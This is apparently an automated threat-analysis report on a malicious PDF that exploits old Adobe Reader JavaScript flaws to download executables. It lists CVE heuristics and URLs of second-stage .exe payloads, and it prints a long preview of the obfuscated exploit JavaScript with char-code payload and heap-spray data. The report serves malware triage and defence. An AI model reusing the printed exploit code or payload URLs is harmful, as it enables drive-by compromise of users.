PDF malware analysis — malicious · e349c7ec6672a136

MALICIOUS

PDF

75.6 KB Created: 2009-11-11 19:43:82 Authoring application: PDF Library 3.10.1 (via PDF Library 3.5.5) First seen: 2015-10-13

MD5: eced8f42057f2409c1613414d743d4a0 SHA-1: 04ff0d0b01c60848b31d8ecbe41dfc4ee3b2fb8d SHA-256: e349c7ec6672a1363d82e999cdd65b4581cd3ce3d6ded71518b812b1e07e83a4

590 Risk Score

Malware Insights

MITRE ATT&CK

T1059.001 JavaScript T1204.002 Malicious File

This PDF file contains embedded JavaScript that exploits multiple known Adobe Reader vulnerabilities, specifically CVE-2009-0927, CVE-2007-5659, and CVE-2008-2992. The JavaScript is obfuscated and uses ASCIIHexDecode filters, indicating an attempt to hide malicious code. The primary function of the script appears to be the execution of a second-stage payload, as suggested by the 'legacy_pdfkit_stage_000.js' artifact. This points to a drive-by download or exploit kit delivery mechanism.

Machine Learning

Nyx PDF Classifier malicious score 0.9999

Heuristics 13

Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927

PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659

PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992

PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH

A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
ClamAV: Pdf.Exploit.Agent-36110 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Pdf.Exploit.Agent-36110
Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT

One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
JavaScript action low 3 related findings PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
PDF JavaScript rebuilds a builtin via replace() to run a char-code array critical PDF_JS_REPLACE_OBFUSCATED_CHARCODE_BUILDER

Decoded PDF JavaScript resolves a String builtin from a junked literal — e.g. String['eQvoaol3'.replace(/[3oQS5]/g,'')] yielding fromCharCode/eval — and feeds a large numeric char-code array through it to rebuild and execute the next stage. Dynamically reconstructing a builtin name by stripping junk characters has no benign purpose; paired with the char-code payload array it is an unambiguous obfuscated-JavaScript exploit dropper.
PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL

Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
ASCIIHexDecode filter (with exploit indicators) medium PDF_FILTER_HEX

Hex-encoding filter present alongside exploit delivery indicators — often used to hide payload or shellcode bytes
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://images-dns.com/dlrtuw2.exe Referenced by PDF JavaScript
- http://images-dns.com/click.php?r=Referenced by PDF JavaScript
- http://images-dns.com/hklnrw2.exeReferenced by PDF JavaScript
- http://images-dns.com/adglv2.exeReferenced by PDF JavaScript

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`javascript_obj0007_000.js`	pdf-javascript-stream	PDF /JS object 7 at offset 0x1A5	38215 bytes
SHA-256: `9f37d69942ad79cf06f830cf8061f233ec2f80ef5fd9fb2be526b9e5441d1e04`
Preview script First 1,000 lines of the extracted script var krsu='';jkosy=49233;ehjk=false;nqstuw="";emow="";bkwx=35581;bcjkox="bcjkox";cqtuy='';aijsuy="aijsuy";var zxwuv='',iklt="",zkcaho='',abcdj=0,fhmry=String,ehnr=fhmry['f4rHocmcCchcaVr4CHocdVeF'.replace(/[FV4cH]/g,'')],glopx=String,tzpn=glopx['eiv6aNlx'.replace(/[xiN6W]/g,'')],cfxy="64",yzlcvn="",cfnv=[67,62,63,154,171,162,153,168,159,163,164,84,156,157,174,147,159,168,94,173,151,166,169,164,98,84,162,153,164,93,177,65,64,61,63,171,158,157,162,153,86,92,175,149,168,167,166,98,162,153,164,155,170,156,86,94,86,102,86,112,86,160,155,162,95,175,67,62,63,61,63,173,151,166,169,164,86,95,115,84,175,149,168,167,166,111,67,62,63,61,179,65,64,61,63,173,151,166,169,164,86,113,86,173,151,166,169,164,100,167,171,150,169,168,168,157,164,155,94,100,98,84,162,153,164,99,104,93,113,65,64,61,63,166,155,168,171,166,164,84,175,149,168,167,166,111,67,62,63,177,67,62,67,62,63,154,171,162,153,168,159,163,164,84,171,168,159,160,149,164,168,157,164,168,156,92,95,175,67,62,63,61,172,149,168,84,166,149,175,160,165,149,154,84,115,84,171,162,155,167,153,149,166,153,94,86,91,169,123,118,123,109,91,169,102,100,102,101,91,169,107,106,102,100,91,169,119,101,108,104,91,169,102,100,105,100,91,169,102,100,102,100,91,169,106,100,110,118,91,169,110,118,102,119,91,169,103,119,109,100,91,169,110,118,119,120,91,169,102,108,106,100,91,169,121,103,107,121,91,169,110,118,107,105,91,169,110,118,123,119,91,169,102,108,106,105,91,169,105,103,107,102,91,169,121,101,122,102,91,169,102,103,121,102,91,169,103,100,105,102,91,169,110,100,106,100,91,169,102,100,105,108,91,169,124,105,109,105,91,169,121,102,110,118,91,169,107,120,107,117,91,169,102,104,121,102,91,169,107,105,102,100,91,169,123,119,110,118,91,169,107,101,107,101,91,169,107,106,107,103,91,169,108,100,107,107,91,169,107,120,110,118,91,169,105,103,102,108,91,169,110,118,121,100,91,169,102,119,109,105,91,169,124,121,110,118,91,169,109,106,102,103,91,169,110,118,105,119,91,169,109,108,106,121,91,169,121,122,102,103,91,169,107,101,110,118,91,169,107,102,103,119,91,169,107,101,110,118,91,169,107,102,104,104,91,169,109,101,110,118,91,169,106,121,103,104,91,169,109,105,110,109,91,169,110,118,124,119,91,169,104,100,109,101,91,169,124,107,102,103,91,169,106,117,111,109,91,169,106,102,119,120,91,169,105,118,108,100,91,169,124,119,107,105,91,169,102,104,109,105,91,169,121,100,105,103,91,169,105,107,123,118,91,169,124,122,105,103,91,169,106,105,102,103,91,169,111,107,102,119,91,169,121,122,110,118,91,169,109,105,119,121,91,169,104,118,124,120,91,169,106,122,124,109,91,169,123,108,107,101,91,169,124,122,111,104,91,169,124,122,124,122,91,169,121,103,105,118,91,169,109,104,108,101,91,169,123,118,102,102,91,169,110,118,122,109,91,169,102,119,106,105,91,169,107,121,111,102,91,169,124,102,102,103,91,169,123,100,122,101,91,169,121,106,102,103,91,169,121,109,105,103,91,169,120,107,102,122,91,169,107,122,102,108,91,169,123,101,121,101,91,169,102,103,102,102,91,169,102,103,121,117,91,169,110,118,121,122,91,169,102,103,102,101,91,169,110,109,121,102,91,169,124,108,106,105,91,169,110,118,108,101,91,169,124,108,106,105,91,169,107,121,107,122,91,169,121,109,107,118,91,169,107,105,121,103,91,169,123,119,110,118,91,169,123,108,107,101,91,169,124,122,106,109,91,169,124,122,124,122,91,169,108,108,107,100,91,169,108,100,123,108,91,169,102,104,120,122,91,169,108,119,123,108,91,169,124,122,124,122,91,169,105,103,124,122,91,169,107,102,122,102,91,169,124,122,107,102,91,169,102,108,109,105,91,169,122,100,124,122,91,169,106,105,110,109,91,169,110,118,124,119,91,169,124,119,106,105,91,169,121,103,121,109,91,169,110,118,107,105,91,169,110,103,123,119,91,169,102,119,123,119,91,169,106,105,110,120,91,169,107,100,124,104,91,169,106,105,121,106,91,169,109,105,124,104,91,169,106,105,121,106,91,169,109,102,124,105,91,169,106,105,121,106,91,169,108,119,124,106,91,169,106,105,121,106,91,169,108,120,124,107,91,169,106,105,121,106,91,169,108,122,124,108,91,169,106,105,121,106,91,169,108,121,124,109,91,169,106,105,121,106,91,169,104,121,124,117,91,169,106,105,121,106,91,169,108,104,124,118,91,169,106,105,121,106,91,169,108,119,124,119,91,169,106,105,121,106,91,169,108,119,124,120,91,169,106,105,121,106,91,169,102,100,124,121,91,169,119,100,123,108,91,169,124,122,124,122,91,169,107,100,124,122,91,169,107,120,108,108,91,169,103,101,110,117,91,169,123,108,103,106,91,169,124,122,103,105,91,169,124,122,124,122,91,169,121,104,110,103,91,169,110,105,102,119,91,169,109,104,121,100,91,169,108,117,103,105,91,169,108,117,102,100,91,169,124,122,102,100,91,169,102,119,109,105,91,169,109,105,124,122,91,169,108,117,102,108,91,169,124,122,102,100,91,169,110,105,122,100,91,169,109,105,121,100,91,169,106,100,102,103,91,169,121,103,121,109,91,169,121,100,105,103,91,169,121,103,121,109,91,169,105,103,107,107,91,169,110,118,121,100,91,169,104,104,106,119,91,169,110,118,102,119,91,169,104,104,109,119,91,169,124,119,102,108,91,169,119,117,124,103,91,169,121,103,107,122,91,169,106,119,110,118,91,169,102,104,104,104,91,169,105,109,110,100,91,169,110,118,102,100,91,169,109,104,121,101,91,169,106,100,102,106,91,169,105,108,110,100,91,169,109,105,102,100,91,169,104,118,124,117,91,169,121,103,121,101,91,169,110,118,107,105,91,169,110,103,123,119,91,169,108,104,123,119,91,169,110,120,107,103,91,169,124,100,106,105,91,169,105,103,107,107,91,169,107,100,122,118,91,169,106,105,121,106,91,169,108,118,124,100,91,169,106,105,121,106,91,169,108,105,124,101,91,169,106,105,121,106,91,169,109,102,124,102,91,169,106,105,121,106,91,169,108,121,124,103,91,169,106,105,121,106,91,169,108,105,124,104,91,169,106,105,121,106,91,169,108,119,124,105,91,169,106,105,121,106,91,169,105,103,124,106,91,169,106,105,121,106,91,169,105,102,124,107,91,169,106,105,121,106,91,169,104,121,124,108,91,169,106,105,121,106,91,169,108,104,124,109,91,169,106,105,121,106,91,169,108,119,124,117,91,169,106,105,121,106,91,169,108,119,124,118,91,169,107,120,110,108,91,169,123,108,124,119,91,169,124,122,102,118,91,169,124,122,124,122,91,169,108,108,107,100,91,169,106,103,108,108,91,169,110,121,124,109,91,169,110,100,123,108,91,169,124,122,124,121,91,169,110,118,124,122,91,169,110,120,124,108,91,169,111,119,106,105,91,169,106,104,108,117,91,169,123,108,107,100,91,169,124,122,109,121,91,169,124,122,124,122,91,169,106,105,110,120,91,169,108,117,123,100,91,169,107,100,103,100,91,169,109,103,123,108,91,169,124,122,124,122,91,169,110,103,124,122,91,169,103,119,121,104,91,169,106,105,110,120,91,169,107,100,123,100,91,169,106,105,110,120,91,169,107,100,111,119,91,169,107,103,107,103,91,169,107,103,107,103,91,169,107,103,107,103,91,169,109,105,124,122,91,169,121,107,102,108,91,169,111,119,106,105,91,169,102,100,106,104,91,169,102,100,102,100,91,169,124,122,107,103,91,169,107,122,122,107,91,169,120,106,102,122,91,169,107,118,121,100,91,169,121,103,121,109,91,169,110,118,107,105,91,169,107,101,123,119,91,169,107,103,107,101,91,169,107,107,107,106,91,169,106,102,108,117,91,169,109,102,123,108,91,169,102,100,102,100,91,169,110,118,102,100,91,169,105,103,122,108,91,169,110,105,124,106,91,169,107,109,122,118,91,169,106,105,121,107,91,169,108,101,124,108,91,169,108,105,104,121,91,169,121,107,109,108,91,169,124,119,106,105,91,169,102,100,108,105,91,169,102,100,102,100,91,169,107,106,109,121,91,169,106,105,110,120,91,169,107,100,124,108,91,169,123,108,107,106,91,169,102,100,107,101,91,169,102,100,102,100,91,169,107,100,107,109,91,169,120,101,123,108,91,169,124,122,124,121,91,169,110,105,124,122,91,169,107,109,121,100,91,169,109,104,107,109,91,169,110,120,105,109,91,169,102,101,106,106,91,169,123,108,107,100,91,169,102,100,105,118,91,169,102,100,102,100,91,169,124,108,110,118,91,169,106,105,110,120,91,169,107,100,124,108,91,169,104,101,123,108,91,169,124,122,124,122,91,169,110,105,124,122,91,169,107,109,121,100,91,169,109,104,107,109,91,169,107,107,102,119,91,169,102,101,123,108,91,169,124,122,124,122,91,169,107,109,124,122,91,169,106,104,121,106,91,169,124,122,105,108,91,169,107,100,109,103,91,169,106,105,110,120,91,169,124,121,124,108,91,169,107,108,102,100,91,169,106,105,110,120,91,169,107,100,124,108,91,169,123,108,107,107,91,169,124,121,109,104,91,169,124,122,124,122,91,169,107,109,107,109,91,169,106,106,106,106,91,169,124,103,105,118,91,169,119,117,109,119,91,169,107,121,107,122,91,169,121,109,107,118,91,169,107,105,121,103,91,169,123,119,110,118,91,169,107,103,107,101,91,169,108,100,108,106,91,169,105,102,120,101,91,169,102,100,123,108,91,169,102,100,102,100,91,169,107,108,102,100,91,169,102,108,105,108,91,169,102,103,109,104,91,169,123,118,106,100,91,169,106,100,124,109,91,169,107,120,110,118,91,169,110,100,102,108,91,169,106,102,124,118,91,169,102,108,109,105,91,169,122,118,105,103,91,169,103,108,110,117,91,169,121,103,110,118,91,169,103,107,123,118,91,169,103,108,105,108,91,169,103,101,109,106,91,169,105,103,106,100,91,169,110,104,121,109,91,169,109,104,122,118,91,169,106,100,102,119,91,169,102,108,105,108,91,169,124,118,109,105,91,169,124,121,106,100,91,169,123,118,121,118,91,169,105,103,124,102,91,169,110,109,121,100,91,169,124,119,106,105,91,169,106,105,110,118,91,169,107,118,124,119,91,169,121,103,121,109,91,169,102,102,105,102,91,169,109,104,108,108,91,169,109,100,109,104,91,169,104,122,105,117,91,169,108,109,104,122,91,169,108,101,108,120,91,169,108,105,108,107,91,169,104,120,109,103,91,169,108,121,108,104,91,169,104,121,109,103,91,169,108,122,108,103,91,169,104,122,108,120,91,169,108,119,108,104,91,169,109,104,109,102,91,169,109,107,109,105,91,169,104,121,105,102,91,169,109,108,108,105,91,169,102,100,108,105,91,169,109,104,108,108,91,169,109,100,109,104,91,169,104,122,105,117,91,169,108,109,104,122,91,169,108,101,108,120,91,169,108,105,108,107,91,169,104,120,109,103,91,169,108,121,108,104,91,169,104,121,109,103,91,169,108,122,108,103,91,169,104,122,108,120,91,169,108,119,108,103,91,169,108,103,108,109,91,169,104,121,108,118,91,169,108,108,109,100,91,169,105,122,109,100,91,169,105,120,109,102,91,169,102,100,102,100,88,93,113,65,64,61,63,170,151,166,86,162,165,164,86,113,86,169,164,153,169,151,151,164,155,92,88,89,171,100,119,100,119,89,171,100,119,100,119,89,171,100,119,100,119,89,171,100,119,100,119,86,95,65,64,61,63,170,151,166,86,156,155,149,166,150,162,163,153,159,86,113,86,162,165,164,86,95,86,164,151,173,162,163,151,152,113,65,64,61,63,170,151,166,86,150,159,155,152,160,165,151,161,84,115,84,171,162,155,167,153,149,166,153,94,86,91,169,102,117,102,117,91,169,102,117,102,117,88,93,113,65,64,61,63,170,151,166,86,156,155,149,154,153,168,167,159,174,155,84,115,84,104,100,113,65,64,61,63,170,151,166,86,167,166,166,151,173,86,113,86,156,155,149,154,153,168,167,159,174,155,84,97,84,158,153,151,164,152,160,165,151,161,98,162,153,164,155,170,156,113,65,64,61,63,171,158,157,162,153,86,92,152,157,157,150,162,163,153,159,100,160,155,162,157,168,158,84,114,84,169,164,168,149,175,93,177,65,64,61,63,61,152,157,157,150,162,163,153,159,86,95,115,84,152,157,157,150,162,163,153,159,113,65,64,61,63,177,67,62,63,61,172,149,168,84,156,157,162,160,152,160,165,151,161,84,115,84,152,157,157,150,162,163,153,159,100,167,171,150,169,168,168,157,164,155,94,100,98,84,169,164,168,149,175,93,113,65,64,61,63,170,151,166,86,150,162,163,153,159,86,113,86,150,159,155,152,160,165,151,161,98,169,169,152,167,170,166,159,162,157,92,102,96,86,150,159,155,152,160,165,151,161,98,162,153,164,155,170,156,99,167,166,166,151,173,95,111,67,62,63,61,173,156,159,160,155,84,94,150,162,163,153,159,100,160,155,162,157,168,158,95,169,164,168,149,175,84,114,84,102,172,106,100,102,100,102,93,177,65,64,61,63,61,152,160,165,151,161,84,115,84,152,160,165,151,161,84,97,84,152,160,165,151,161,84,97,84,156,157,162,160,152,160,165,151,161,111,67,62,63,61,179,65,64,61,63,170,151,166,86,161,155,161,149,149,168,166,151,173,86,113,86,162,155,171,86,117,168,166,151,173,94,93,113,65,64,61,63,154,165,166,86,92,172,149,168,84,159,84,115,84,102,111,86,157,86,112,86,101,106,100,102,111,86,157,97,95,95,175,67,62,63,61,63,161,155,161,149,149,168,166,151,173,145,157,147,84,115,84,152,160,165,151,161,84,97,84,158,153,151,164,152,160,165,151,161,111,67,62,63,61,179,65,64,61,63,170,151,166,86,162,171,161,86,113,86,101,104,109,111,109,111,109,111,109,111,109,111,109,111,109,111,109,111,109,111,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,111,67,62,63,61,171,168,159,160,100,164,168,157,164,168,156,92,88,89,106,105,102,100,102,154,88,96,86,162,171,161,95,111,67,62,63,177,67,62,67,62,63,154,171,162,153,168,159,163,164,84,153,163,162,160,151,150,149,153,163,149,159,160,94,93,177,65,64,61,63,170,151,166,86,167,158,153,162,160,153,163,154,153,86,113,86,169,164,153,169,151,151,164,155,92,88,89,171,121,120,121,111,89,171,100,102,100,103,89,171,105,108,100,102,89,171,117,103,106,106,89,171,100,102,103,102,89,171,100,102,100,102,89,171,104,102,108,120,89,171,108,120,100,121,89,171,101,121,107,102,89,171,108,120,117,122,89,171,100,110,104,102,89,171,119,105,105,123,89,171,108,120,105,107,89,171,108,120,121,121,89,171,100,110,104,107,89,171,103,105,105,104,89,171,119,103,120,104,89,171,100,105,119,104,89,171,101,102,103,104,89,171,108,102,104,102,89,171,100,102,103,110,89,171,122,107,107,107,89,171,119,104,108,120,89,171,105,122,105,119,89,171,100,106,119,104,89,171,105,107,100,102,89,171,121,121,108,120,89,171,105,103,105,103,89,171,105,108,105,105,89,171,106,102,105,109,89,171,105,122,108,120,89,171,103,105,100,110,89,171,108,120,119,102,89,171,100,121,107,107,89,171,122,123,108,120,89,171,107,108,100,105,89,171,108,120,103,121,89,171,107,110,104,123,89,171,119,124,100,105,89,171,105,103,108,120,89,171,105,104,101,121,89,171,105,103,108,120,89,171,105,104,102,106,89,171,107,103,108,120,89,171,104,123,101,106,89,171,107,107,108,111,89,171,108,120,122,121,89,171,102,102,107,103,89,171,122,109,100,105,89,171,104,119,109,111,89,171,104,104,117,122,89,171,103,120,106,102,89,171,122,121,105,107,89,171,100,106,107,107,89,171,119,102,103,105,89,171,103,109,121,120,89,171,122,124,103,105,89,171,104,107,100,105,89,171,109,109,100,121,89,171,119,124,108,120,89,171,107,107,117,123,89,171,102,120,122,122,89,171,104,124,122,111,89,171,121,110,105,103,89,171,122,124,109,106,89,171,122,124,122,124,89,171,119,105,103,120,89,171,107,106,106,103,89,171,121,120,100,104,89,171,108,120,120,111,89,171,100,121,104,107,89,171,105,123,109,104,89,171,122,104,100,105,89,171,121,102,120,103,89,171,119,108,100,105,89,171,119,111,103,105,89,171,118,109,100,124,89,171,105,124,100,110,89,171,121,103,119,103,89,171,100,105,100,104,89,171,100,105,119,119,89,171,108,120,119,124,89,171,100,105,100,103,89,171,108,111,119,104,89,171,122,110,104,107,89,171,108,120,106,103,89,171,122,110,104,107,89,171,105,123,105,124,89,171,119,111,105,120,89,171,105,107,119,105,89,171,121,121,108,120,89,171,121,110,105,103,89,171,122,124,104,111,89,171,122,124,122,124,89,171,106,110,105,102,89,171,106,102,121,110,89,171,100,106,118,124,89,171,106,121,121,110,89,171,122,124,122,124,89,171,103,105,122,124,89,171,105,104,120,104,89,171,122,124,105,104,89,171,100,110,107,107,89,171,120,102,122,124,89,171,104,107,108,111,89,171,108,120,122,121,89,171,122,121,104,107,89,171,119,105,119,111,89,171,108,120,105,107,89,171,108,105,121,121,89,171,100,121,121,121,89,171,104,107,108,122,89,171,105,102,122,106,89,171,104,107,119,108,89,171,107,107,122,106,89,171,104,107,119,108,89,171,107,104,122,107,89,171,104,107,119,108,89,171,106,121,122,108,89,171,104,107,119,108,89,171,106,122,122,109,89,171,104,107,119,108,89,171,106,124,122,110,89,171,104,107,119,108,89,171,106,123,122,111,89,171,104,107,119,108,89,171,102,123,122,119,89,171,104,107,119,108,89,171,106,106,122,120,89,171,104,107,119,108,89,171,106,121,122,121,89,171,104,107,119,108,89,171,106,121,122,122,89,171,104,107,119,108,89,171,100,102,122,123,89,171,117,102,121,110,89,171,122,124,122,124,89,171,105,102,122,124,89,171,105,122,106,110,89,171,101,103,108,119,89,171,121,110,101,108,89,171,122,124,101,107,89,171,122,124,122,124,89,171,119,106,108,105,89,171,108,107,100,121,89,171,107,106,119,102,89,171,106,119,101,107,89,171,106,119,100,102,89,171,122,124,100,102,89,171,100,121,107,107,89,171,107,107,122,124,89,171,106,119,100,110,89,171,122,124,100,102,89,171,108,107,120,102,89,171,107,107,119,102,89,171,104,102,100,105,89,171,119,105,119,111,89,171,119,102,103,105,89,171,119,105,119,111,89,171,103,105,105,109,89,171,108,120,119,102,89,171,102,106,104,121,89,171,108,120,100,121,89,171,102,106,107,121,89,171,122,121,100,110,89,171,117,119,122,105,89,171,119,105,105,124,89,171,104,121,108,120,89,171,100,106,102,106,89,171,103,111,108,102,89,171,108,120,100,102,89,171,107,106,119,103,89,171,104,102,100,108,89,171,103,110,108,102,89,171,107,107,100,102,89,171,102,120,122,119,89,171,119,105,119,103,89,171,108,120,105,107,89,171,108,105,121,121,89,171,106,106,121,121,89,171,108,122,105,105,89,171,122,102,104,107,89,171,103,105,105,109,89,171,105,102,120,120,89,171,104,107,119,108,89,171,106,120,122,102,89,171,104,107,119,108,89,171,106,107,122,103,89,171,104,107,119,108,89,171,107,104,122,104,89,171,104,107,119,108,89,171,106,123,122,105,89,171,104,107,119,108,89,171,106,107,122,106,89,171,104,107,119,108,89,171,106,121,122,107,89,171,104,107,119,108,89,171,103,105,122,108,89,171,104,107,119,108,89,171,103,104,122,109,89,171,104,107,119,108,89,171,102,123,122,110,89,171,104,107,119,108,89,171,106,106,122,111,89,171,104,107,119,108,89,171,106,121,122,119,89,171,104,107,119,108,89,171,106,121,122,120,89,171,105,122,108,110,89,171,121,110,122,121,89,171,122,124,100,120,89,171,122,124,122,124,89,171,106,110,105,102,89,171,104,105,106,110,89,171,108,123,122,111,89,171,108,102,121,110,89,171,122,124,122,123,89,171,108,120,122,124,89,171,108,122,122,110,89,171,109,121,104,107,89,171,104,106,106,119,89,171,121,110,105,102,89,171,122,124,107,123,89,171,122,124,122,124,89,171,104,107,108,122,89,171,106,119,121,102,89,171,105,102,101,102,89,171,107,105,121,110,89,171,122,124,122,124,89,171,108,105,122,124,89,171,101,121,119,106,89,171,104,107,108,122,89,171,105,102,121,102,89,171,104,107,108,122,89,171,105,102,109,121,89,171,105,105,105,105,89,171,105,105,105,105,89,171,105,105,105,105,89,171,107,107,122,124,89,171,119,109,100,110,89,171,109,121,104,107,89,171,100,102,104,106,89,171,100,102,100,102,89,171,122,124,105,105,89,171,105,124,120,109,89,171,118,108,100,124,89,171,105,120,119,102,89,171,119,105,119,111,89,171,108,120,105,107,89,171,105,103,121,121,89,171,105,105,105,103,89,171,105,109,105,108,89,171,104,104,106,119,89,171,107,104,121,110,89,171,100,102,100,102,89,171,108,120,100,102,89,171,103,105,120,110,89,171,108,107,122,108,89,171,105,111,120,120,89,171,104,107,119,109,89,171,106,103,122,110,89,171,106,107,102,123,89,171,119,109,107,110,89,171,122,121,104,107,89,171,100,102,106,107,89,171,100,102,100,102,89,171,105,108,107,123,89,171,104,107,108,122,89,171,105,102,122,110,89,171,121,110,105,108,89,171,100,102,105,103,89,171,100,102,100,102,89,171,105,102,105,111,89,171,118,103,121,110,89,171,122,124,122,123,89,171,108,107,122,124,89,171,105,111,119,102,89,171,107,106,105,111,89,171,108,122,103,111,89,171,100,103,104,108,89,171,121,110,105,102,89,171,100,102,103,120,89,171,100,102,100,102,89,171,122,110,108,120,89,171,104,107,108,122,89,171,105,102,122,110,89,171,102,103,121,110,89,171,122,124,122,124,89,171,108,107,122,124,89,171,105,111,119,102,89,171,107,106,105,111,89,171,105,109,100,121,89,171,100,103,121,110,89,171,122,124,122,124,89,171,105,111,122,124,89,171,104,106,119,108,89,171,122,124,103,110,89,171,105,102,107,105,89,171,104,107,108,122,89,171,122,123,122,110,89,171,105,110,100,102,89,171,104,107,108,122,89,171,105,102,122,110,89,171,121,110,105,109,89,171,122,123,107,106,89,171,122,124,122,124,89,171,105,111,105,111,89,171,104,108,104,108,89,171,122,105,103,120,89,171,117,119,107,121,89,171,105,123,105,124,89,171,119,111,105,120,89,171,105,107,119,105,89,171,121,121,108,120,89,171,105,105,105,103,89,171,106,102,106,108,89,171,103,104,118,103,89,171,100,102,121,110,89,171,100,102,100,102,89,171,105,110,100,102,89,171,100,110,103,110,89,171,100,105,107,106,89,171,121,120,104,102,89,171,104,102,122,111,89,171,105,122,108,120,89,171,108,102,100,110,89,171,104,104,122,120,89,171,100,110,107,107,89,171,120,120,103,105,89,171,101,110,108,119,89,171,119,105,108,120,89,171,101,109,121,120,89,171,101,110,103,110,89,171,101,103,107,108,89,171,103,105,104,102,89,171,108,106,119,111,89,171,107,106,120,120,89,171,104,102,100,121,89,171,100,110,103,110,89,171,122,120,107,107,89,171,122,123,104,102,89,171,121,120,119,120,89,171,103,105,122,104,89,171,108,111,119,102,89,171,122,121,104,107,89,171,104,107,108,120,89,171,105,120,122,121,89,171,119,105,119,111,89,171,100,104,103,104,89,171,107,106,106,110,89,171,107,102,107,106,89,171,102,124,103,119,89,171,106,111,102,124,89,171,106,103,106,122,89,171,106,107,106,109,89,171,102,122,107,105,89,171,106,123,106,106,89,171,102,123,107,105,89,171,106,124,106,105,89,171,102,124,106,122,89,171,106,120,106,110,89,171,106,123,106,121,89,171,107,109,107,104,89,171,102,123,103,104,89,171,107,110,106,107,89,171,100,102,106,107,89,171,107,106,106,110,89,171,107,102,107,106,89,171,102,124,103,119,89,171,106,111,102,124,89,171,106,103,106,122,89,171,106,107,106,109,89,171,102,122,107,105,89,171,106,123,106,106,89,171,102,123,107,105,89,171,106,124,106,105,89,171,102,124,106,122,89,171,106,121,106,105,89,171,106,105,106,111,89,171,102,123,106,120,89,171,106,110,107,102,89,171,103,124,107,102,89,171,103,122,107,104,89,171,100,102,100,102,86,95,111,67,62,63,61,172,149,168,84,163,153,163,147,151,166,168,149,175,84,115,84,164,153,173,84,119,166,168,149,175,92,95,111,67,62,63,61,172,149,168,84,153,151,86,113,86,100,174,100,153,100,153,100,153,100,153,111,67,62,63,61,172,149,168,84,151,152,154,166,86,113,86,100,174,104,102,100,102,100,102,111,67,62,63,61,172,149,168,84,169,151,149,160,155,162,86,113,86,167,158,153,162,160,153,163,154,153,100,160,155,162,157,168,158,84,96,84,104,111,67,62,63,61,172,149,168,84,162,153,164,84,115,84,151,152,154,166,86,97,86,92,169,151,149,160,155,162,97,100,174,103,110,93,113,65,64,61,63,170,151,166,86,173,151,166,169,164,86,113,86,169,164,153,169,151,151,164,155,92,88,89,171,109,102,109,102,89,171,109,102,109,102,86,95,111,67,62,63,61,175,149,168,167,166,84,115,84,156,157,174,147,159,168,94,173,151,166,169,164,98,84,162,153,164,93,113,65,64,61,63,170,151,166,86,151,165,169,164,168,104,84,115,84,94,151,153,84,99,84,102,172,106,100,102,100,102,100,95,99,151,152,154,166,113,65,64,61,63,154,165,166,86,92,172,149,168,84,153,163,171,162,170,84,115,84,102,111,86,151,165,169,164,168,86,112,86,151,165,169,164,168,104,111,86,151,165,169,164,168,97,95,95,175,67,62,63,61,63,161,155,161,149,149,168,166,151,173,145,151,165,169,164,168,147,84,115,84,175,149,168,167,166,84,97,84,169,156,155,160,162,151,165,152,155,111,67,62,63,61,179,65,64,61,63,170,151,166,86,163,172,153,168,1